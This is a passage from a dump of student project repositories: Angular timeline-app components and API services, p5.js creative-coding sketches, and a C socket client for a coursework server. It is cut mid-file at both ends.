= this.existingValues.Tags; if(this.existingValues.LocationLat == 'null'){ this.locationDisabled = true }else{ this.lat = this.existingValues.LocationLat; this.lng = this.existingValues.LocationLat; } } //set up date stuff this.parentId = this.data.parentId; console.log(this.parentId); for (let index = 0; index < this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents.length; index++) { const event = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents[index]; //if event being edited find children to get before date limit if(this.data.existingValues && this.existingValues.Id == event.LinkedTimelineEventIds[0]){ (this.beforeTimeLimit == null || event.EventDateTime < this.beforeTimeLimit)?this.beforeTimeLimit = event.EventDateTime:null; } //find parent to get after date limit if(this.parentId && this.parentId == event.Id){ this.afterTimeLimit = event.EventDateTime } } this.firstFormGroup = new FormGroup({ titleCtrl: new FormControl(this.existingValues.Title, [ Validators.required, Validators.minLength(1) ]), descriptionCtrl: new FormControl(this.existingValues.Description, [ Validators.required, Validators.minLength(1) ]), severityCtrl: new FormControl(this.existingValues.Severity) }); this.thirdFormGroup = new FormGroup({ latitudeCtrl: new FormControl(this.existingValues.LocationLat, [ Validators.required, Validators.max(85), Validators.min(-85) ]), longitudeCtrl: new FormControl(this.existingValues.LocationLng, [ Validators.required, Validators.max(180), Validators.min(-180) ]), }); this.fourthFormGroup = new FormGroup({ dateTimeCtrl: new FormControl(this.existingValues.EventDateTime, [ Validators.required, Validators.max(this.beforeTimeLimit), Validators.min(this.afterTimeLimit) ]) }); if(this.data.existingValues == null) { this.createOrUpdate='create' }else{ this.createOrUpdate='update'; } //map styles this.DataTransferService.currentTheme.subscribe( (data)=>{ if(data == 'pink-bluegrey' || data == 'purple-green'){ this.mapStyles = darkstyles; }else{ this.mapStyles = []; } } ); this.minDate = (this.afterTimeLimit) ? new Date(this.afterTimeLimit) : null; this.maxDate = (this.beforeTimeLimit) ? new Date(this.beforeTimeLimit) : null; } public dateError = null; dateEvent(event){ this.dateTimestamp = new Date(event.value).getTime(); if(this.dateTimestamp+this.timeTimestamp > -2084140800000){ // check time doesnt predate flight this.fourthFormGroup.setValue({ dateTimeCtrl: this.dateTimestamp+this.timeTimestamp, }); }else{ this.fourthFormGroup.setValue({ dateTimeCtrl: '', }); } } timeEvent(event){ var splitMinsHours = event.target.value.split(':'); this.timeTimestamp = splitMinsHours[0] * 3600000 + splitMinsHours[1] * 60000; if(this.dateTimestamp+this.timeTimestamp > -2084140800000){ // check time doesnt predate flight this.fourthFormGroup.setValue({ dateTimeCtrl: this.dateTimestamp+this.timeTimestamp, }); }else{ this.fourthFormGroup.setValue({ dateTimeCtrl: '', }); } } visible: boolean = true; selectable: boolean = true; removable: boolean = true; addOnBlur: boolean = true; // Enter, comma separatorKeysCodes = [ENTER, COMMA]; add(event: MatChipInputEvent): void { let input = event.input; let value = event.value; // Add tags if ((value || '').trim()) { this.tags.push({ name: value.trim() }); } // Reset the input value if (input) { input.value = ''; } } remove(tag: any): void { let index = this.tags.indexOf(tag); if (index >= 0) { this.tags.splice(index, 1); } } mapManualInput() { this.lat = this.thirdFormGroup.value.latitudeCtrl; this.lng = this.thirdFormGroup.value.longitudeCtrl; } onChooseLocation(event) { this.lat = event.coords.lat; this.lng = event.coords.lng; this.thirdFormGroup.setValue({ latitudeCtrl: this.lat, longitudeCtrl: this.lng }); } onCloseConfirm() { this.thisDialogRef.close({ result: this.createOrUpdate, title : this.firstFormGroup.value.titleCtrl, description : this.firstFormGroup.value.descriptionCtrl, severity : this.firstFormGroup.value.severityCtrl, tags : this.tags, lat : this.thirdFormGroup.value.latitudeCtrl, lng : this.thirdFormGroup.value.longitudeCtrl, dateTime : this.fourthFormGroup.value.dateTimeCtrl }); } } let darkstyles = [ {elementType: 'geometry', stylers: [{color: '#242f3e'}]}, {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]}, {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]}, { featureType: 'administrative.locality', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'poi', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'poi.park', elementType: 'geometry', stylers: [{color: '#263c3f'}] }, { featureType: 'poi.park', elementType: 'labels.text.fill', stylers: [{color: '#6b9a76'}] }, { featureType: 'road', elementType: 'geometry', stylers: [{color: '#38414e'}] }, { featureType: 'road', elementType: 'geometry.stroke', stylers: [{color: '#212a37'}] }, { featureType: 'road', elementType: 'labels.text.fill', stylers: [{color: '#9ca5b3'}] }, { featureType: 'road.highway', elementType: 'geometry', stylers: [{color: '#746855'}] }, { featureType: 'road.highway', elementType: 'geometry.stroke', stylers: [{color: '#1f2835'}] }, { featureType: 'road.highway', elementType: 'labels.text.fill', stylers: [{color: '#f3d19c'}] }, { featureType: 'transit', elementType: 'geometry', stylers: [{color: '#2f3948'}] }, { featureType: 'transit.station', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'water', elementType: 'geometry', stylers: [{color: '#17263c'}] }, { featureType: 'water', elementType: 'labels.text.fill', stylers: [{color: '#515c6d'}] }, { featureType: 'water', elementType: 'labels.text.stroke', stylers: [{color: '#17263c'}] } ]<file_sep>/HNDGradedUnit/js/extras/forces/heliumBalloon/cloud.js function Cloud() { this.loc = createVector(random(width), random(height)); this.vel = createVector(0,0); this.acc = createVector(1,2); this.topspeed = 3; this.c1 = random(10,20); this.c2 = random(15,30); this.c3 = random(20,40); this.c4 = random(15,30); this.c5 = random(25,50); this.applyForce = function(force) { this.f = p5.Vector.div(force, this.mass); this.acc.add(this.f); } this.update = function() { this.vel.add(this.acc); this.vel.limit(this.topspeed); this.loc.add(this.vel); this.acc.mult(0); } this.display = function() { noStroke(); fill(245,150); ellipse(this.loc.x, this.loc.y, this.c1, this.c2); ellipse(this.loc.x+5, this.loc.y+5, this.c2, this.c3); ellipse(this.loc.x-10, this.loc.y-10, this.c3, this.c4); ellipse(this.loc.x+13, this.loc.y+13, this.c4, this.c5); ellipse(this.loc.x-5, this.loc.y+5, this.c5, this.c1); } this.checkEdges = function() { if(this.loc.x > width) { this.loc.x = 0; } else if(this.loc.x < 0) { this.loc.x = width; } if(this.loc.y < 0) { this.loc.y = height; } else if(this.loc.y > height) { this.loc.y = 0; } } }<file_sep>/IntegratedProject/src/app/interface/timeline.ts import { Observable } from 'rxjs/Rx'; export interface Timeline { CreationTimeStamp: string; Id: string; IsDeleted: boolean; TimelineEvents: Array<any> Title: string; deleteEventObs: Observable<null>; noEvents: number; eventSearchTerm: string; newEventObs: Observable<null>; viewOption: string; }<file_sep>/IntegratedProject/src/app/component/dialog-attach-preview/dialog-attach-preview.component.ts import { Component, OnInit, Inject, ViewEncapsulation, OnDestroy } from '@angular/core'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { AttachmentService } from '../../service/attachment/attachment.service'; import { HttpEventType, HttpResponse } from '@angular/common/http'; import { Observable } from 'rxjs/Rx'; import { MatSnackBar } from '@angular/material'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; import { LangService } from '../../service/lang/lang.service' import { DomSanitizer } from '@angular/platform-browser'; @Component({ selector: 'app-dialog-attach-preview', templateUrl: './dialog-attach-preview.component.html', styleUrls: ['./dialog-attach-preview.component.scss'] }) export class DialogAttachPreviewComponent implements OnInit, OnDestroy { public startIndex: number; public downloadObs = []; public getUrlsObs; constructor( public thisDialogRef: MatDialogRef<DialogAttachPreviewComponent>, @Inject(MAT_DIALOG_DATA) public data, public AttachmentService:AttachmentService, public DomSanitizer:DomSanitizer, public feedback: MatSnackBar, public LangService: LangService, ) { } ngOnInit() { //get start index based on file clicked this.startIndex = this.data.fileList.findIndex((element)=>{ return element['Id'] == this.data.start.Id; }); let observArr = []; for (let index = 0; index < this.data.fileList.length; index++) { const attachment = this.data.fileList[index]; this.data.fileList[index].progress = 0; this.data.fileList[index].blob = null; this.data.fileList[index].url = null; observArr.push(this.AttachmentService.genGetSignedUrl(attachment.Id)); } this.getUrlsObs = Observable.forkJoin(observArr).subscribe( (data)=>{ for (let index = 0; index < data.length; index++) { if(this.data.fileList[index].Type == 'doc'){ var encodedUrl = encodeURIComponent(data[index].toString()); this.data.fileList[index].link = this.DomSanitizer.bypassSecurityTrustResourceUrl('https://view.officeapps.live.com/op/view.aspx?src=' + encodedUrl); }else{ this.data.fileList[index].link = data[index]; } } }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.attachFail,progress:false}, duration:3500}); } ) Observable.forkJoin(observArr).subscribe( (attachRespArr)=>{ for (let index = 0; index < attachRespArr.length; index++) { if(this.data.fileList[index].Type == 'doc'){ var encodedUrl = encodeURIComponent(attachRespArr[index].toString()); this.data.fileList[index].url = this.DomSanitizer.bypassSecurityTrustResourceUrl('https://view.officeapps.live.com/op/view.aspx?src=' + encodedUrl); }else{ const dlUrl = attachRespArr[index]; this.downloadObs.push( this.AttachmentService.downloadAttach(dlUrl.toString()).subscribe( (event) => { if (event.type === HttpEventType.DownloadProgress) { this.data.fileList[index].progress = Math.round(100 * event.loaded / event.total); //console.log(Math.round(100 * event.loaded / event.total)); } else if (event instanceof HttpResponse) { let blob = new Blob([event.body]); this.data.fileList[index].url = this.DomSanitizer.bypassSecurityTrustResourceUrl(window.URL.createObjectURL(blob)); }else if(event['ok'] == false ){ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.attachFail,progress:false}, duration:3500}); } } ) ); } } } ) //testing } getFileSrc(aid) { this.AttachmentService.genGetSignedUrl(aid).first().subscribe( (data)=>{ return data; }, (error)=>{ return null; } ) } ngOnDestroy() { this.getUrlsObs.unsubscribe(); this.downloadObs.forEach(element => { element.unsubscribe(); }); } } <file_sep>/HNDGradedUnit/js/extras/rotation/spaceship/sketch.js var ship; var thrust; function setup() { createCanvas(windowWidth,windowHeight); ship = new Spaceship(); } function draw() { background(255); ship.update(); ship.display(); ship.checkEdges(); } function keyPressed() { if(keyIsPressed && keyCode == 90) { thrust = p5.Vector.fromAngle(ship.theta-HALF_PI); ship.applyForce(thrust); ship.boost = true; } else { ship.boost = false; } }<file_sep>/HNDGradedUnit/js/extras/noise/NoiseVisualisation/sketch.js var offs; var increment; function setup() { createCanvas(windowWidth,250); background(255); offs = createVector(0.0, 0.0); //offsets along x and y axis increment = 1; } function draw() { if(mouseIsPressed) { loadPixels(); var detail = map(mouseY, 0, height, 0.1, 0.9); noiseDetail(8, detail); //for every x, y coordinate, calculate noise and produce a brightness value for(var y = 0; y < height; y++) { for(var x = 0; x < width; x++) { offs.y = 0; //For every xoff, start yoff at 0 var index = (x+y*width)*4; //Calculate noise and scale by 255 var bright = map(noise(offs.x),0,1,0,255); //set each pixel onscreen to a grayscale value pixels[index + 0] = bright; pixels[index + 1] = bright; pixels[index + 2] = bright; pixels[index + 3] = bright; offs.y += increment; //increment yoff } offs.x += increment; //increment xoff } updatePixels(); } }<file_sep>/HNDGradedUnit/js/extras/flappyBird/pipe.js function Pipe() { this.top = random(250,height/2-20); this.bottom = random(250,height/2-20); this.x = width; this.w = 32; this.speed = 7; this.freeze = false; this.highlight = false; this.hits = function(bird) { if(bird.y < this.top || bird.y > height - this.bottom) { if(bird.x > this.x && bird.x < this.x + this.w) { this.highlight = true; return true; } } this.highlight = false; return false; } this.show = function() { stroke(0); fill(50,220,50); if(this.highlight == true) { fill(255,0,0); } rect(this.x, 0, this.w, this.top); rect(this.x, height-this.bottom, this.w, this.bottom); } this.update = function() { this.x -= this.speed; } this.passed = function(bird) { return this.x <= bird.x-28 && this.x >= bird.x-34; } this.offscreen = function() { return this.x < -this.w; } this.stopped = function() { this.speed = 0; this.freeze = true; } }<file_sep>/HNDGradedUnit/js/SmartRockets/DNA.js function DNA(genes) { //checks if genes have been passed through, creates new genes if not if (genes) { this.genes = genes; } else { this.genes = []; for (var i = 0; i < lifespan; i++) { this.genes[i] = p5.Vector.random2D(); this.genes[i].setMag(maxforce); } } this.crossover = function(partner) { //creates new genes based on two existing rockets to pass onto next generation var newgenes = []; var mid = floor(random(this.genes.length)); for (var i = 0; i < this.genes.length; i++) { if (i > mid) { newgenes[i] = this.genes[i]; } else { newgenes[i] = partner.genes[i]; } } return new DNA(newgenes); } this.mutation = function() { //keeps the chance of a new random path being generated after each generation for (var i = 0; i < this.genes.length; i++) { if (random(1) < 0.015) { this.genes[i] = p5.Vector.random2D(); this.genes[i].setMag(maxforce); } } } }<file_sep>/HNDGradedUnit/js/extras/misc/bubbleGenerator/bubble.js function Bubble() { this.x = random(width); this.y = height; this.di = random(64); this.ySpeed = random(0.5, 2.5); this.ascend = function() { this.y -= this.ySpeed; this.x += random(-2,2); } this.displayed = function() { stroke(0); fill(240); ellipse(this.x, this.y, this.di, this.di); } this.checkTop = function() { if(this.y < height*-1) { this.y = height; } } }<file_sep>/IntegratedProject/src/app/component/map-view/map-view.component.ts import { Component, OnInit, Input } from '@angular/core'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service' @Component({ selector: 'app-map-view', templateUrl: './map-view.component.html', styleUrls: ['./map-view.component.scss'] }) export class MapViewComponent implements OnInit { @Input() timelineId; public eventsCopy; public sortedTimelineData = []; public mapStyles = []; constructor( private DataTransferService:DataTransferService ) { } ngOnInit() { this.DataTransferService.currentTheme.subscribe( (data)=>{ if(data == 'pink-bluegrey' || data == 'purple-green'){ this.mapStyles = darkstyles; }else{ this.mapStyles = []; } } ) let events = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents; this.eventsCopy = JSON.parse(JSON.stringify(events)) let changes:boolean; do{// sort events by date changes = false; for (let index = 0; index < this.eventsCopy.length; index++) { const element = this.eventsCopy[index]; let previousDate; if(index > 0){ previousDate = this.eventsCopy[index-1].EventDateTime; } const dateDiff = element.EventDateTime - previousDate if(dateDiff < 0){ changes = true; const tempStore = this.eventsCopy[index-1]; this.eventsCopy[index-1] = element; this.eventsCopy[index] = tempStore; } } }while(changes) this.sortedTimelineData = this.eventsCopy; } search(event){ let beforeDate = new Date(this.DataTransferService.activeTimelines[this.timelineId].eventBeforeDate).getTime(); let afterDate = new Date(this.DataTransferService.activeTimelines[this.timelineId].eventAfterDate).getTime(); if( !this.DataTransferService.moveData.moveActive// if move isnt active && ( this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm || this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm || this.DataTransferService.activeTimelines[this.timelineId].eventBeforeDate || this.DataTransferService.activeTimelines[this.timelineId].eventAfterDate ) && ( // searching part ( // search for title event.Title.toLowerCase().includes(this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm.toLowerCase()) || typeof this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm == 'undefined' ) && ( // search for tags JSON.stringify(event.Tags).toLowerCase().includes(this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm) || typeof this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm == 'undefined' ) && ( // check before date beforeDate >= event.EventDateTime || !beforeDate ) && ( // check after date afterDate <= event.EventDateTime || !afterDate ) ) ){ return true; }else{ return false; } } } let darkstyles = [ {elementType: 'geometry', stylers: [{color: '#242f3e'}]}, {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]}, {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]}, { featureType: 'administrative.locality', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'poi', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'poi.park', elementType: 'geometry', stylers: [{color: '#263c3f'}] }, { featureType: 'poi.park', elementType: 'labels.text.fill', stylers: [{color: '#6b9a76'}] }, { featureType: 'road', elementType: 'geometry', stylers: [{color: '#38414e'}] }, { featureType: 'road', elementType: 'geometry.stroke', stylers: [{color: '#212a37'}] }, { featureType: 'road', elementType: 'labels.text.fill', stylers: [{color: '#9ca5b3'}] }, { featureType: 'road.highway', elementType: 'geometry', stylers: [{color: '#746855'}] }, { featureType: 'road.highway', elementType: 'geometry.stroke', stylers: [{color: '#1f2835'}] }, { featureType: 'road.highway', elementType: 'labels.text.fill', stylers: [{color: '#f3d19c'}] }, { featureType: 'transit', elementType: 'geometry', stylers: [{color: '#2f3948'}] }, { featureType: 'transit.station', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'water', elementType: 'geometry', stylers: [{color: '#17263c'}] }, { featureType: 'water', elementType: 'labels.text.fill', stylers: [{color: '#515c6d'}] }, { featureType: 'water', elementType: 'labels.text.stroke', stylers: [{color: '#17263c'}] } ]<file_sep>/IntegratedProject/src/app/service/attachment/attachment.service.ts import { Injectable } from '@angular/core'; import { HttpClient, HttpHeaders, HttpRequest } from '@angular/common/http'; import { Observable } from 'rxjs/Rx'; @Injectable() export class AttachmentService { private baseUrl = 'https://gcu.ideagen-development.com/TimelineEventAttachment/'; constructor(private http: HttpClient) { } guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } createAttachment(tleid: string, aid: string, t: string) :Observable<any> { const cmd = 'Create'; const bod = {'TenantId': 'Team15', 'AuthToken': '727162e<KEY>', 'TimelineEventId': tleid, 'AttachmentId': aid, 'Title': t }; return this.http.put(this.baseUrl+cmd, bod); } editTitle(aid: string, t: string) :Observable<any> { const cmd = 'EditTitle'; const bod = {'TenantId': 'Team15', 'AuthToken': '727162e<KEY>', 'AttachmentId': aid, 'Title': t }; return this.http.put(this.baseUrl+cmd, bod); } deleteAttachment(aid: string) :Observable<any> { const cmd = 'Delete'; const bod = {'TenantId': 'Team15', 'AuthToken': '<KEY>', 'AttachmentId': aid }; return this.http.put(this.baseUrl+cmd, bod); } genUpSignedUrl(aid: string) :Observable<string>{ const cmd = 'GenerateUploadPresignedUrl'; const httpOptions = { responseType: 'text' , headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'AttachmentId': aid }) }; //for whatever reason you need to put the object straight in here putting httpotions instead of object below will cause error return this.http.get(this.baseUrl+cmd, { responseType: 'text' , headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'AttachmentId': aid }) }); } genGetSignedUrl(aid: string) :Observable<string>{ const cmd = 'GenerateGetPresignedUrl'; const httpOptions = { responseType: 'text' , headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'AttachmentId': aid }) }; return this.http.get(this.baseUrl+cmd, { responseType: 'text' , headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'AttachmentId': aid }) }); } getAttachment(aid: string) :Observable<any>{ const cmd = 'GetAttachment'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '7<PASSWORD>-<PASSWORD>-<PASSWORD>-8<PASSWORD>', 'AttachmentId': aid }) }; return this.http.get(this.baseUrl+cmd, httpOptions); } getAttachments(tleid: string) :Observable<any>{ const cmd = 'GetAttachments'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'TimelineEventId': tleid }) }; return this.http.get(this.baseUrl+cmd, httpOptions); } uploadAttach(signedUrl: string, file : File, type: string) { const headers = new HttpHeaders(); headers.set('Content-Type', type); const req = new HttpRequest('PUT', signedUrl, file, { reportProgress: true, headers: headers }); return this.http.request(req) } // type error here try to get it to wrok without any downloadAttach(signedUrl: any){ const req = new HttpRequest('GET', signedUrl, { responseType: 'arraybuffer', reportProgress: true }); return this.http.request(req); } } <file_sep>/SystemsProgrammingFinalAssessment/client-comments.c // Cwk2: client.c - message length headers with variable sized payloads // also use of readn() and writen() implemented in separate code module //Includes #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h> #include <sys/utsname.h> #include "rdwrn.h" #define INPUTSIZ 10 //structure for employee list to be printed on client exit typedef struct { //variable declarations int id_number; int age; float salary; } employee; //structure for uname to be sent to client typedef struct { //variable declarations char *nodename; char *sysname; char *release; char *version; char *machine; } utsname; // how to send and receive structs void send_and_get_employee(int socket, employee *e) { size_t payload_length = sizeof(employee); // send the original struct writen(socket, (unsigned char *) &payload_length, sizeof(size_t)); writen(socket, (unsigned char *) e, payload_length); // get back the altered struct readn(socket, (unsigned char *) &payload_length, sizeof(size_t)); readn(socket, (unsigned char *) e, payload_length); // print out details of received & altered struct printf("Age is %d\n", e->age); printf("id is %d\n", e->id_number); printf("Salary is %6.2f\n", e->salary); } // end send_and_get_employee() //Send empty uts struct, get server uname info and print all fields void send_and_get_uname(int socket, utsname *uts) { //Declare size variable named len and initialise as size of // utsname struct size_t len = sizeof(utsname); //Declare utsname struct uts1 struct utsname uts1; //Check uname success if (uname(&uts1) == -1) { //On failure, print error message and exit program perror("uname error"); exit(EXIT_FAILURE); } //Send original size of utsname writen(socket, (unsigned char *) &len, sizeof(size_t)); //Send original utsname uts1 writen(socket, (unsigned char *) &uts1, len); //Get altered utsname size readn(socket, (unsigned char *) &len, sizeof(size_t)); //Get altered utsname and store in uts1 readn(socket, (unsigned char *) &uts1, len); //Print each field of utsname struct printf("Node name: %s\n", uts1.nodename); printf("System name: %s\n", uts1.sysname); printf("Release: %s\n", uts1.release); printf("Version: %s\n", uts1.version); printf("Machine: %s\n", uts1.machine); } // how to receive a string void get_hello(int socket) { char hello_string[32]; size_t k; readn(socket, (unsigned char *) &k, sizeof(size_t)); readn(socket, (unsigned char *) hello_string, k); printf("Hello String: %s\n", hello_string); printf("Received: %zu bytes\n\n", k); } // end get_hello() //Recieve server ip and Student id void get_id(int socket) { //Declare size variable named k to hold size of char array recieved from server size_t k; //Recieve size of char array from server readn(socket, (unsigned char *) &k, sizeof(size_t)); //Fixed size char array to hold server ip and student id with length of // recieved string char stu_id[k]; //Recieve string from server and store in fixed char array stu_id readn(socket, (unsigned char *) stu_id, k); //Print stu_id to terminal window printf("%s\n", stu_id); } //Recieve current server time and print to terminal window void get_time(int socket) { //Declare size variable named k to hold size of char array recieved from server size_t k; //Recieve size of char array from server readn(socket, (unsigned char *) &k, sizeof(size_t)); //Fixed size char array to hold server timestamp with length of // recieved string char time[k]; //Recieve string from server and store in fixed char array time readn(socket, (unsigned char *) time, k); //Print timestamp to terminal window printf("Current servertime: %s", time); } //Send option to server char send_option(int socket) { //Declare fixed size char array of size INPUTSIZ(1) char input[INPUTSIZ]; //Declare char to hold option to be sent char option; //Prompt user to enter option at terminal window printf("option> "); // get the value from input fgets(input, INPUTSIZ, stdin); //Trim empty space after new line input[strcspn(input, "\n")] = 0; //Set char option to first char in input array option = input[0]; if (strlen(input) > 1) { // set invalid if input more 1 char option = 'x'; } //Declare abd initialise size vvariable named k with size of a single char size_t k = sizeof(char); //Send size of char to server writen(socket, (unsigned char *) &k, sizeof(size_t)); //Send option to server writen(socket, (unsigned char *) &option, k); //Return option to menu return option; } //Get list of filenames in server upload directory void get_filenames(int socket) { //Declare size variable named k size_t k; //Declare char array pointer named filelist char *filelist; //Declare delimiter for use in strtok const char delim[1] = "*"; //Int to store number of files processed via while loop int count = 0; //Get size of filelist string readn(socket, (unsigned char *) &k, sizeof(size_t)); //Declare fixed size char array of to store list of files // recieved from server char files[k]; //Get char array holding list of files from server readn(socket, (unsigned char *) files, k); //Seperate filenames in string using strtok filelist = strtok(files, delim); //Loop through filelist while(filelist != NULL) { //Add 1 to count to track file number count++; //Print filename seperated by delimiter and newline to terminal window printf("File %d: %s\n", count, filelist); //Seperate next filename filelist = strtok(NULL, delim); } } //Display list of user options void displaymenu() { //Print each option's intended purpose to terminal window printf("0. Display menu.\n"); printf("1. Obtain student ID and server IP.\n"); printf("2. Obtain server time.\n"); printf("3. Obtain server uname info.\n"); printf("4. Obtain file names in server cwd.\n"); printf("5. Exit.\n"); } int main(void) { // *** this code down to the next "// ***" does not need to be changed except the port number int sockfd = 0; struct sockaddr_in serv_addr; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Error - could not create socket"); exit(EXIT_FAILURE); } serv_addr.sin_family = AF_INET; // IP address and port of server we want to connect to serv_addr.sin_port = htons(50031); serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // try to connect... if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) == -1) { perror("Error - connect failed"); exit(1); } else printf("Connected to server...\n"); // *** // your own application code will go here and replace what is below... char option; //Declare utsname struct named uts utsname *uts; //Allocate memory for uts uts = (utsname *) malloc(sizeof(utsname)); //Get welcome message from server get_hello(sockfd); //Display list of options to user via terminal window displaymenu(); do { //Recieve option from user option = send_option(sockfd); //Series of outcomes from options switch (option) { case '0': //Display list of options to user via terminal window displaymenu(); break; case '1': printf("Option one.\n"); //Recieve ip and student id from server get_id(sockfd); break; case '2': printf("Option two.\n"); //Get current time from server get_time(sockfd); break; case '3': printf("Option three.\n"); //Send empty uts struct and get server uname values send_and_get_uname(sockfd, uts); break; case '4': //Get list of filenames in server uploa directory get_filenames(sockfd); printf("Option four.\n"); break; case '5': printf("Goodbye!\n"); break; default: //Print invalid choice error for anything other than //Previous cases printf("Invalid choice - 0 displays options...!\n"); break; } } while (option != '5'); //Deallocate uts struct free(uts); // send and receive a changed struct to/from the server employee *employee1; employee1 = (employee *) malloc(sizeof(employee)); // arbitrary values employee1->age = 23; employee1->id_number = 3; employee1->salary = 13000.21; int i; for (i = 0; i < 5; i++) { printf("(Counter: %d)\n", i); send_and_get_employee(sockfd, employee1); printf("\n"); } free(employee1); // *** make sure sockets are cleaned up close(sockfd); exit(EXIT_SUCCESS); } // end main() <file_sep>/IntegratedProject/src/app/service/event/event.service.ts import { Injectable } from '@angular/core'; import { HttpClient, HttpHeaders } from '@angular/common/http'; import { Observable } from 'rxjs/Rx'; @Injectable() export class EventService { private baseUrl = 'https://gcu.ideagen-development.com/TimelineEvent/'; constructor(private http: HttpClient) { } guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } getEvent(id: string) :Observable<any>{ const cmd = 'GetTimelineEvent'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<PASSWORD>', 'TimelineEventId': id }) }; return this.http.get(this.baseUrl+cmd, httpOptions); } getLinkedEvents(id: string) :Observable<any>{ const cmd = 'GetLinkedTimelineEvents'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<PASSWORD>', 'TimelineEventId': id }) }; return this.http.get(this.baseUrl+cmd, httpOptions); } createEvent(t: object, d: string, edt: string, l: string) :Observable<any> { const cmd = 'Create'; const guid = this.guid(); t['Id'] = guid const fakeTitle = JSON.stringify(t); // faketitle holds all event data to get around api edit overwrite bug const bod = {'TenantId': 'Team15', 'AuthToken': '<PASSWORD>2766', 'TimelineEventId': guid, 'Title': fakeTitle, 'Description': d, 'EventDateTime': edt, 'Location': l }; return this.http.put(this.baseUrl+cmd, bod); } editEventTitle(id: string, t: string) :Observable<any> { const cmd = 'EditTitle'; const bod = {'TenantId': 'Team15', 'AuthToken': '7<PASSWORD>', 'TimelineEventId': id, 'Title': t }; return this.http.put(this.baseUrl+cmd, bod); } editEventDescription(id: string, d: string) :Observable<any> { const cmd = 'EditDescription'; const bod = {'TenantId': 'Team15', 'AuthToken': '7<PASSWORD>', 'TimelineEventId': id, 'Description': d }; return this.http.put(this.baseUrl+cmd, bod); } editEventLocation(id: string, l: string) :Observable<any> { const cmd = 'EditLocation'; const bod = {'TenantId': 'Team15', 'AuthToken': '7<PASSWORD>', 'TimelineEventId': id, 'Location': l }; return this.http.put(this.baseUrl+cmd, bod); } editEventDateTime(id: string, edt: string) :Observable<any> { const cmd = 'EditEventDateTime'; const bod = {'TenantId': 'Team15', 'AuthToken': '7<PASSWORD>-<PASSWORD>-8f<PASSWORD>', 'TimelineEventId': id, 'EventDateTime': edt }; return this.http.put(this.baseUrl+cmd, bod); } deleteEvent(id: string) :Observable<any> { const cmd = 'Delete'; const bod = {'TenantId': 'Team15', 'AuthToken': '<PASSWORD>', 'TimelineEventId': id }; return this.http.put(this.baseUrl+cmd, bod); } linkEvents(id: string, id1: string) :Observable<any> { const cmd = 'LinkEvents'; const bod = {'TenantId': 'Team15', 'AuthToken': '<PASSWORD>', 'TimelineEventId': id, 'LinkedToTimelineEventId': id1 }; return this.http.put(this.baseUrl+cmd, bod); } unlinkEvents(id: string, id1: string) :Observable<any> { const cmd = 'UnlinkEvents'; const bod = {'TenantId': 'Team15', 'AuthToken': '<PASSWORD>', 'TimelineEventId': id, 'UnlinkedFromTimelineEventId': id1 } return this.http.put(this.baseUrl+cmd, bod); } } <file_sep>/HNDGradedUnit/js/extras/walkers&movers/firstWalker/sketch.js var w; function setup() { createCanvas(windowWidth,250); background(255); w = new Walker(); } function draw() { w.step(); w.display(); } <file_sep>/HNDGradedUnit/js/extras/noise/NoiseGraph/sketch.js var time; var x; var y; var inc; var incSlider; var xSlider; function setup() { createCanvas(windowWidth,400); x = 0; time = 0; background(255); //create sliders to change time increments and the speed of x axis traversal incSlider = createSlider(0,1000,1); incSlider.position(10,height-20); xSlider = createSlider(0,1000,1); xSlider.position(10,height-45); } function draw() { checkEdges(); display(); } function display() { inc = map(incSlider.value(), 0, 1000, 0.001, 0.1); y = map(noise(time),0,1,0,height); line(x, y, x, y); push(); fill(0); textSize(12); text("Press c to clear", 15, 15); text(" - x speed", incSlider.x * 2 + incSlider.width,height-30); text(" - noise", xSlider.x * 2 + xSlider.width,height-5); pop(); x += map(xSlider.value(), 0, 1000, 0.1, 1); time+=inc; } function 